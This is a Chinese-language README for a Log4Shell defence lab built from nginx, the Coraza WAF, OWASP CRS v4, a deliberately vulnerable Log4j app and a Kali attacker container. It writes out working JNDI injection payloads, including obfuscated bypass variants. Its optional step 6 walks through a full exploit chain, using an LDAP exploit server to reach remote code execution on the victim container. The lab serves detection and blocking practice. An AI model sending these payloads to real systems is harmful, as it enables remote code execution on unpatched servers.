Log4Shell (CVE-2021-44228) 防御实验室 — nginx + Coraza WAF 动态模块 + OWASP CRS v4。仅供教育用途。
教育/防御目的:此实验室包含故意存在漏洞的应用程序(Log4j 2.14.1)和JNDI利用工具包,仅用于学习如何在隔离环境中检测和拦截Log4Shell。请勿部署到互联网,请勿用于攻击不属于您的系统。
使用集成了Coraza WAF(动态模块)+ OWASP CRS v4 + 自定义JNDI规则的nginx进行Log4Shell(CVE-2021-44228)防御实践实验室。附带存在漏洞的Spring Boot目标容器、攻击者box Kali,以及Suricata + Wazuh用于观察。
Host (Windows / Docker Desktop)
│
├── dmz-net (172.20.0.0/24, external-facing)
│ ├── nginx-proxy ← 入口 :80/:443,包含Coraza模块 + CRS v4
│ ├── attacker-box ← Kali + JNDI利用工具包
│ └── suricata-ids ← 嗅探dmz流量
│
└── backend-net (172.22.0.0/24, internal: true)
├── nginx-proxy ← 第二块网卡
├── log4shell-app ← Spring Boot Log4j 2.14.1
├── wazuh-manager ← SIEM
└── wazuh-dashboard ← UI
请求流:client → nginx (Coraza检查) → log4shell-app。WAF运行在nginx内部(通过ngx_http_coraza_module.so模块),不是独立容器。
| 项目 | 最低版本 |
|---|---|
| Docker Desktop / Engine | 24+,支持Compose v2 |
| 可用内存 | 4 GB(Wazuh占用约1.5 GB) |
| 可用磁盘 | 6 GB(包含构建产物) |
| 首次构建时间 | 10–15分钟(libcoraza + nginx模块 + Maven攻击工具) |
cd /path/to/log4shell-nginx-coraza
docker compose build
最慢的阶段是 nginx(用Go 1.25构建libcoraza v1.4.0,然后编译coraza-nginx模块)。首次后会缓存。
docker compose up -d
docker compose ps
大约30秒后,预期状态:
# nginx存活检查
curl http://localhost/health
# → "nginx proxy healthy"
# 通过WAF访问应用程序(log4shell-vulnerable-app的真实端点)
curl -H 'X-Api-Version: 1.0' http://localhost/
# → "Hello, world!"
不带X-Api-Version头的curl http://localhost/会返回400——这是Spring Boot的whitelabel错误(无处理器),不是WAF拦截。
# User-Agent中的JNDI → 触发规则1910010,返回403
curl -i -H 'User-Agent: ${jndi:ldap://attacker:1389/x}' http://localhost/
# 应用日志记录的头X-Api-Version中的JNDI → 触发规则1910001(头+参数),返回403
curl -i -H 'X-Api-Version: ${jndi:ldap://attacker:1389/Exploit}' http://localhost/
# 查询字符串中的JNDI → CRS阶段1拦截
curl -i 'http://localhost/?x=${jndi:ldap://attacker/x}'
预期:HTTP/1.1 403 Forbidden,body为<html>... 403 Forbidden ... nginx ...</html>。
# Lower trick (规则1910004 / 1910008)
curl -i -H 'User-Agent: ${${lower:j}ndi:ldap://attacker:1389/x}' http://localhost/
# Colon-dash-dash (规则1910008)
curl -i -H 'User-Agent: ${${::-j}${::-n}${::-d}${::-i}:ldap://attacker:1389/x}' http://localhost/
curl -i -X POST -H 'Content-Type: application/json' \
-d '{"msg":"${jndi:ldap://attacker:1389/x}"}' \
http://localhost/api/log
# → 403 (规则1910026: Content-Type=json + body包含jndi)
docker exec nginx-proxy sh -c 'tail -f /var/log/coraza/audit.log' | python -c "
import json,sys
for ln in sys.stdin:
try:
d=json.loads(ln)
t=d['transaction']
ua=t['request']['headers'].get('user-agent',['?'])[0][:60]
st=t['response']['status']
for m in t.get('messages') or []:
print(f'{st} {ua} :: {m[\"error_message\"][:160]}')
except: pass
"
每个事件为JSON Lines格式,包含:
transaction.is_interrupted: true → WAF拦截messages[].error_message → 触发的规则、文件及行号、严重性docker exec nginx-proxy tail -f /var/log/nginx/access.log
过滤被拦截的请求:
docker exec nginx-proxy sh -c 'grep " 403 " /var/log/nginx/access.log | tail'
./logs/nginx/ ← access.log, error.log
./logs/coraza/ ← audit.log (JSON), debug.log
默认
backend-net设为internal: true,且attacker-box只在dmz-net,因此log4shell-app无法访问attacker-box。要使JNDI链端到端工作,请先执行步骤6.0。
修改docker-compose.yml,将attacker-box加入backend-net:
attacker-box:
networks:
- dmz-net
- backend-net # <— 添加
或者将log4shell-app切换到dmz-net(更简单,但减少了分段的教学意义):
log4shell-app:
networks:
- backend-net
- dmz-net # <— 添加
应用:docker compose up -d(Compose会重新创建相应的容器)。
docker exec -it kali-attacker bash
cd /opt/exploits
# 选项A: marshalsec — 简单,仅中继LDAP→HTTP
./scripts/start-ldap-server.sh marshalsec '' 172.20.0.2
# 选项B: JNDI-Exploit-Kit — 完整工具包,payload "touch /tmp/pwned"
./scripts/start-ldap-server.sh jndi-kit
服务器监听LDAP :1389和HTTP :8888(已在compose中暴露到主机)。
# 从attacker-box,直接调用backend-net上的log4shell-app
docker exec kali-attacker curl -s -H 'X-Api-Version: ${jndi:ldap://172.20.0.2:1389/Exploit}' http://victim-app:8080/
检查:
# 在应用容器中创建被攻破标记
docker exec victim-app ls -la /tmp/pwned
如果找到文件 → 利用链正常,应用程序仍存在漏洞,通过主路径时不会绕过WAF。
# 通过nginx(主公共路径)
curl -i -H 'X-Api-Version: ${jndi:ldap://172.20.0.2:1389/Exploit}' http://localhost/
# → 403 Forbidden,不会创建新的/tmp/pwned
文件./coraza/config/log4shell-rules.conf以:ro方式挂载到nginx的/etc/nginx/coraza/log4shell-rules.conf。修改后:
docker exec nginx-proxy nginx -t # 语法检查
docker exec nginx-proxy nginx -s reload
如果Coraza报告解析错误(failed to compile the directive...),worker将退出,nginx -s reload无法重新生成。此时:
docker compose restart nginx
docker exec nginx-proxy tail -20 /var/log/nginx/error.log
include顺序(在nginx/coraza/main.conf中,已烘焙到镜像):
SecRuleEngine On、审计日志、调试日志crs-setup.conf — 初始化tx.*_anomaly_score、阈值owasp-crs/rules/*.conf — 全部CRS v4.7.0log4shell-rules.conf — 自定义规则(从主机挂载)自定义规则ID范围:1910001 – 1910999(避开CRS范围900000–999999)。
EMERGENCY、ALERT、CRITICAL、ERROR、WARNING、NOTICE、INFO、DEBUG。HIGH/LOW无效。IP:、SESSION:、RESOURCE:)不工作,除非已配置后端存储。对每个请求使用tx.,或通过nginx limit_req_zone进行速率限制。(unhealthy) / curl localhost挂起docker exec nginx-proxy tail -20 /var/log/nginx/error.log | grep coraza
通常是由于新规则语法错误 → 所有worker以代码2退出。修复规则后,执行docker compose restart nginx。
failed to create WAF: ... unknown severity: HIGH将规则中的severity:'HIGH'改为severity:'ERROR'。
failed to compile the directive "secrule": invalid arguments, expected collection TX规则中使用了setvar:ip.xxx或引用了IP:something / TX:NEVER_DECLARED。移除持久集合或将逻辑合并到单个链式规则。
Exited (1)镜像jasonish/suricata:latest有自己的入口点,且从./suricata/config/挂载的yaml可能与镜像中的版本不兼容。快速修复:在compose中临时注释掉suricata服务,实验室仍可正常运行(无需IDS,Coraza即可工作)。要彻底修复,用镜像默认配置替换suricata.yaml(执行docker run --rm jasonish/suricata cat /etc/suricata/suricata.yaml.dist > suricata/config/suricata.yaml)。
基础镜像基于已停止支持的Alpine 3.8。确保compose中的command为["java", "-jar", "/app/spring-boot-application.jar"](不要包含apk add iptables——Alpine 3.8的仓库已返回404)。
http://localhost:5601Wazuh manager + dashboard需要额外的wazuh-indexer(OpenSearch)才能完整运行。当前堆栈缺少该服务——dashboard会启动但登录失败。如需实际使用,根据官方compose添加wazuh-indexer服务。
# 停止并移除容器,保留镜像缓存
docker compose down
# 彻底清除(包括Wazuh卷,强制下次重建)
docker compose down -v
# 同时删除构建的镜像(释放约3 GB空间)
docker rmi log4shell-nginx-coraza-nginx log4shell-nginx-coraza-attacker-box
log4shell-nginx-coraza/
├── docker-compose.yml
├── nginx/
│ ├── Dockerfile # 多阶段构建:libcoraza + coraza-nginx + CRS v4
│ ├── nginx.conf # load_module + coraza on; 在http{}中
│ ├── conf/
│ │ └── default.conf # 反向代理 → log4shell-app:8080
│ └── coraza/
│ └── main.conf # 引擎配置 + Include CRS + 自定义
├── coraza/
│ └── config/
│ └── log4shell-rules.conf # 自定义JNDI规则,以:ro方式挂载到nginx
├── attacker/
│ ├── Dockerfile # Kali + marshalsec + JNDI-Exploit-Kit + rogue-jndi
│ ├── scripts/
│ │ ├── start-ldap-server.sh
│ │ └── test-payloads.sh
│ └── exploit-classes/
│ └── Exploit.java
├── suricata/
│ ├── config/
│ └── rules/
├── wazuh/config/
└── logs/ # nginx、coraza、app、suricata、wazuh的挂载点
| 范围 | 负责内容 | 是否与CRS范围重叠? |
|---|---|---|
| 900000–999999 | OWASP CRS v4(初始化、IP信誉、协议、RCE、SQLi、XSS、扫描器、拦截eval) | (CRS自身) |
| 1910000–1910999 | 自定义Log4Shell规则 | 否 |
当前所有自定义规则ID:1910001–1910008(JNDI模式)、1910010–1910014(每头)、1910015(替代协议)、1910020(扫描检测)、1910026(JSON body链)、1910028(XML body链)、1910030(偏执等级3)、1910999(异常评估回显)。
结束:如果实验室能够运行到第4步,则WAF已正常工作。第6步仅在需要演示完整端到端利用链时才需要。
| 服务 | 状态 |
|---|
nginx-proxy | Up (healthy) |
victim-app | Up |
kali-attacker | Up |
wazuh-siem, wazuh-web | Up |
suricata-ids | 可能为Restarting(见第8节——不影响实验室) |
TX:VARNAME只能引用同一请求中已通过setvar设置的变量。如果规则位于不同阶段,考虑合并为链式规则。